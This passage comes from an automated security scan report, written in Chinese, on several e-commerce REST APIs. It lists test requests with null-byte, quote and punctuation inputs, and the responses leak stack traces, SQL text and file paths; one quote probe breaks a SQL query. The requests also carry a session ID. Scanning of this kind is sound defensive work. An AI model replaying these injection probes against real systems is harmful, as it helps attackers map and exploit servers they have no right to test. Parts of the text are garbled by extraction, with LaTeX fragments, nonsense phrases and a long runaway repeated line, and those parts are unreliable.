Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
. . .
   "data": [
   "returnCode": 0,
                                        错误代码:LUO003C\r\n错误信息:查询商品分类失败
\r\nStackTrace:org.springframework.dao.DataIntegrityViolationException: \n### Error querying
database. Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding
\"UTF8\": 0x00\n### The error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-
enterprise-1.0.0-SNAPSHOT.jar!/mybatisMap/PubGoodsclassMapper.xml] \\ \normalfont{h{\sharp\sharp}} The error may involve for the contemporary of the contem
com.suneee.scn.goods.dao.PubGoodsclassDao.findGoodsclassForPage-Inline\n### The error occurred
                                                                                                                    enterpriseid, classid, classcode, classname,
while setting parameters\n### SQL: select
                                                                                                                         (select classname from pub_goodsclass b
level, endflag, status, parentcode, imgurl, seq,
where b.classcode = a.parentcode and b.enterpriseid =a.enterpriseid limit 1 ) parentclassname
from pub goodsclass a where 1=1
                                                                                       and enterpriseid=?
                                                                                                                                                                   and classcode like
CONCAT('',?,'%') order by classid desc limit ? offset ?\n### Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding \"UTF8\": 0x00\n;
SQL []; ERROR: invalid byte sequence for encoding \"UTF8\": 0x00; nested exception is
org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding \"UTF8\": 0x00\n\tat
org.springframework.jdbc.support.SQLStateSQLExceptionTranslator.doTranslate(SQLStateSQLExceptionT
ranslator.java:102)\n\tat
org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbac
kSQLExceptionTranslator.java:73) \n\tat
org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbac
k_{\mbox{\scriptsize SQLException}}Translator.java:81) n
org.spring framework.jdbc.support.Abstract Fallback {\color{red}SQLException} Translator.translate (Abstract Fallback) {\color{red}SQLException} Translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.transl
kSQLExceptionTranslator.java:81) \n\tat
org.mybatis.spring.MyBatisExceptionTranslator.translateExceptionIfPossible(MyBatisExceptionTransl
ator.java:74) \n\tat
\tat com.sun.proxy.$Proxy31.selectList(Unknown Source)\n\tat
org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:205)\n\tat
org.apache.ibatis.binding.MapperMethod.executeForMany(MapperMethod.java:114)\n\tat
org.apache.ibatis.binding.MapperMethod.execute(MapperMethod.java:58) \n\tat
org.apache.ibatis.binding.MapperProxy.invoke(MapperProxy.java:43) \n\tat
```

```
com.sun.proxy.$Proxy49.findGoodsclassForPage(Unknown Source) \n\tat
 com.suneee.scn.goods.service.PubGoodsclassService.findGoodsclassForPage(PubGoodsclassService.java
:63)\n\tat
\verb|com.sunee.scn.goods.consumer.impl.PubGoodsclassConsumer.findGoodsclassForPage (PubGoodsclassConsumer.findGoodsclassForPage (PubGoodsclassForPage (PubGoo
mer.java:64) \n\tat com.suneee.scn.goods.consumer.impl.Pub
ead0(RequestHandler.java:52)\n\tat
\verb|io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.ja)| \\
va:363)\n\tat
n\tat
\verb|io.netty.channel.AbstractChannelHandlerContext| \verb| for the context| \verb| for the con
io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:403
)\n\tat io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:445)\n\tat
io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:858)\n\ta
\verb|io.netty.util.concurrent.DefaultThreadFactory\\| \verb|SDefaultRunnableDecorator.run(DefaultThreadFactory.juncture)\\| \verb|io.netty.util.concurrent.DefaultThreadFactory\\| \verb|substitute|| \end{tabular}
ava:144) \n\tat java.lang.Thread.run(Thread.java:745) \nCaused by:
org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding \"UTF8\": 0x00\n\tat
org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2182)\n\tat
org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1911)\n\tat
org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:173) \n\tat
org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:618)\n\tat
\verb|at org.postgresql.jdbc2.AbstractJdbc2Statement.execute (AbstractJdbc2Statement.java: 461) \\ | https://dbc2Statement.execute (AbstractJdbc2Statement.execute (AbstractJdbc2Statement.java: 461) \\ | https://dbc2Statement.execute (AbstractJdbc2Statement.execute (AbstractJdbc2Statement.
com.alibaba.druid.pool.DruidPooledPreparedStatement.execute(DruidPooledPreparedStatement.java:493
)\n\tat
:56)\n\tat
0) \n\tat org.apa
 . . .
 . . .
```

问题 10 / 43 Toc

応用程序错误 严重性: 多考 CVSS 分数: 0.0 URL: http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo 实体: goodsname (Parameter) 风险: 可能会收集敏感的调试信息 原因: 未对入局参数值执行适当的边界检查未执行验证以确保用户输入与预期的数据类型匹配 固定值: 验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

差异: 参数 从以下位置进行控制: -至: %00

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:28 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
### Error querying database. Cause: org.postgresql.util.PSQLException: ERROR: invalid byte
sequence for encoding "UTF8": 0x00
### The error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-enterprise-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubGoodsMapper.xml]
### The error may involve com.suneee.scn.goods.dao.PubGoodsDao.selectReportList-Inline
\#\#\# The error occurred while setting parameters
### SQL: select goodsid, pg.enterpriseid, enterprisecode, goodscode, opcode, goodsname,
goodstype, departmentid, goodsunit, goodsspec, goodsmodel, prandard, specimodel, prodarea. inputmanid, bookindate, pg.status, priceflag, stupperlimit, stlowerlimit, barcode,
classcodeflag, smallscaleflag, lastupdateerid, lastupdateername, lastupdatedate,
goodsclassid, taxinprice,
                             intax, baseprice, wsaleprice, wdis, o2osaleprice, tmallsaleprice,
saleprice, minprice, outtax, memo1, memo2, memo3, memo4,inputmanname, factoryname,
notaxprice, sendstatus, warehouseid, supplierid, pgc.classname
classname,pg.goodslevelid,pg.approvaltypeid,pg.gsbmid, case when pat.approvaltypename is null
                                                                                          FROM
then '不审批' else pat.approvaltypename end approvaltypename,pggb.gsbmname,pg.level
                    LEFT JOIN pub_goodsclass pgc ON pg.goodsclassid = pgc.classid
pub goods pg
                                           LEFT JOIN pub_approval_type pat ON
pgc.status=1 and pgc.enterpriseid = ?
pat.approvaltypeid = pg.approvaltypeid
                                               LEFT JOIN pub goodsgsbm pggb ON pggb.gsbmid =
pg.gsbmid WHERE pg.status >= 1 and pg.enterpriseid = ?
concat('%',?,'%') ORDER BY pg.bookindate desc, pg.lastupda
                                                                    and pg.goodsname like
                          ORDER BY pg.bookindate desc , pg.lastupdatedate desc
### Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8":
0×00
; SQL []; ERROR: invalid byte sequence for encoding "UTF8": 0x00; nested exception is
org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8": 0x00
```


应用程序针	借误
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsListToBrand
实体:	keyword (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/5

差异: 参数 从以下位置进行控制: dsfdsafsa 至: \\$00

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsListToBrand?keyword=%00 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:21:14 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
 "returnCode": 0,
 "msg": "org.springframework.dao.DataAccessResourceFailureException: \n### Error querying
database. Cause: org.postgresql.util.PSQLException: ERROR: insufficient data left in
message\n### The error may exist in URL [jar:file:/apps/provider/base/vr-base-provider-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubBrandMapper.xml]\n### The error may involve
parameters n\#\# SQL: select * from pub brand f where 1=1 and status=1 and enterprise id=55 and
(to_char(f.brandid ,'9999999') like '%\u0000%' or f.opcode like '%\u0000%' or f.brandname like
'%\u0000%')\n### Cause: org.postgresql.util.P<mark>SQLException</mark>: ERROR: insufficient data left in
message\n; SQL []; ERROR: insufficient data left in message; nested exception is
org.postgresql.util.PSQLException: ERROR: insufficient data left in message",
 "html": null
```

变体-|2/5

差异: 参数 从以下位置进行控制: keyword 至: ORIG VAL .

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 **测试请求和响应:**

```
GET /goodsRestApi/getGoodsListToBrand?keyword.=dsfdsafsa HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
```

```
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:21:19 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
 "returnCode": 0,
 "msg": "java.lang.
"html": null
                           NullPointerException",
```

变体-|3/5

差异: 参数 从以下位置进行控制: (keyword) 至: ORIG VAL []

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsListToBrand?keyword%5B%5D=dsfdsafsa HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01 Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:21:19 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
 "returnCode": 0,
 "msg": "java.lang.
"html": null
                            NullPointerException",
```

变体-|4/5

差异: 参数 已从请求除去: dsfdsafsa

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsListToBrand? HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:21:19 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
 "returnCode": 0,
 "msg": "java.lang.
                          NullPointerException",
 "html": null
```

变体-|5/5

差异: 参数 从以下位置进行控制: dsfdsafsa 至: %27

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsListToBrand?keyword=%27 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
```

```
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:21:19 GMT
Content-Type: application/json
Transfer-Encoding: chunked
   "data": [
   "returnCode": 0,
   "msg": "org.springframework.jdbc.BadSqlGrammarException: \n### Error querying database.
Cause: org.postgresql.util.PSQLException: ERROR: unterminated quoted string at or near \"')\"\n
Position: 163\n### The error may exist in URL [jar:file:/apps/provider/base/vr-base-provider-
1.0.0-SNAPSHOT.jar!/mybatisMap/PubBrandMapper.xml]\n### The error may involve
\verb|com.suneee.scn.base.dao.PubBrandDao.selectByParam-Inline \verb| n \# \# \# \\ \verb| The error occurred while setting | a strong the large of the setting | a strong the large of the 
parameters n\#\# SQL: select * from pub brand f where 1=1 and status=1 and enterprise id=55 and
 (to_char(f.brandid ,'9999999') like <u>'%'</u>%' or f.opcode like '%'%' or f.brandname like '%'%') \n###
Cause: org.postgresql.util.PSQLException: ERROR: unterminated quoted string at or near \"')\"\n
Position: 163\n; bad SQL grammar []; nested exception is org.postgresql.util.PSQLException:
ERROR: unterminated quoted string at or near \"')\"\n Position: 163",
   "html": null
```

问题 12 / 43 Toc

应用程序银	持误
严重性:	参考
CVSS 分数:	0.0
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/updateSendGoods
实体:	->"orderDetails"[0]->"orderNo" (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/2

差异: 参数 从以下位置进行控制: (->"orderDetails"[0]->"orderNo") 至: ORIG VAL .

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 **测试请求和响应:**

```
POST /order/updateSendGoods HTTP/1.1
Content-Length: 50
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://h5config-rest-enterprise.mall.xt.weilian.cn
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb7lb3bef6db3f8
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
```

```
Accept-Language: en-US, en; q=0.8
 "orderDetails": [
                 "orderNo.": "1846675691006654"
        ]
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "orderNo." (Class com.suneee.scn.h5config.model.dto.OrderGoods), not marked as
at [Source: io.netty.buffer.ByteBufInputStream@5082b92; line: 1, column: 31] (through reference
chain: com.suneee.scn.h5config.model.dto.OrderDto["orderDetails"]-
>com.suneee.scn.h5config.model.dto.OrderGoods["orderNo."])
```

变体-|2/2

差异: 参数 从以下位置进行控制: ->"orderDetails"[0]->"orderNo" 至: __ORIG_VAL_[]

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /order/updateSendGoods HTTP/1.1
Content-Length: 51
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Origin: http://h5config-rest-enterprise.mall.xt.weilian.cn
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "orderDetails": [
                 "orderNo[]": "1846675691006654"
}
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:09 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "orderNo[]" (Class com.suneee.scn.h5config.model.dto.OrderGoods), not marked
as ignorable
 at [Source: io.netty.buffer.ByteBufInputStream@742a88ce; line: 1, column: 32] (through reference
chain: com.suneee.scn.h5config.model.dto.OrderDto["orderDetails"]-
```

```
>com.suneee.scn.h5config.model.dto.OrderGoods["orderNo[]"])
```

问题 13 / 43 Toc

应用程序针	世误
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo
实体:	goodslevelid (Parameter)
风险:	可能会收集敏感的调试信息
// WII	电比云仅未敬念的例似自心
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配

变体-|1/4

差异: 参数 从以下位置进行控制: — 至: 800

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
goodsids=&goodsname=&opcode=&goodscode=&gsbmid=&approvaltypeid=&goodslevelid=%00 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:54 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: " "
```

变体-|2/4

差异: 参数 从以下位置进行控制: 一至: \$27

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 **测试请求和响应:**

```
GET /goodsRestApi/exportGoodsInfo?
qoodsids=&qoodsname=&opcode=&qoodscode=&qsbmid=&approvaltypeid=&qoodslevelid=%27 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "'"
```

变体-|3/4

差异: 参数 从以下位置进行控制: -至: ;

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
goodsids=&goodsname=&opcode=&goodscode=&gsbmid=&approvaltypeid=&goodslevelid=; HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: close
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ";"
```

变体-|4/4

差异: 参数 从以下位置进行控制: 一至: ①

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
{\tt Accept: text/html, application/xhtml+xml, application/xml; q=0.9, image/webp, */*; q=0.8}
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: \star
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ")"
```

问题 **14 / 43** Toc

应用程序针	世 误
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-base-rest-enterprise.mall.xt.weilian.cn/pubRole/selectVipRoleList
实体:	goodslevelid (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
	不1人1 地位 5 明

变体-|1/5

差异: 参数 从以下位置进行控制: ③ 至: 😵00

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

GET /pubRole/selectVipRoleList?goodslevelid=%00 HTTP/1.1

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-base-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:54 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: " "
```

变体-|2/5

差异: 参数 从以下位置进行控制: 3 至: 3xyz

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /pubRole/selectVipRoleList?goodslevelid=3XYZ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-base-rest-enterprise.mall.xt.weilian.cn
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:20 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "3XYZ"
```

变体-|3/5

差异: 参数 从以下位置进行控制: 3 至: %27

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /pubRole/selectVipRoleList?goodslevelid=%27 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
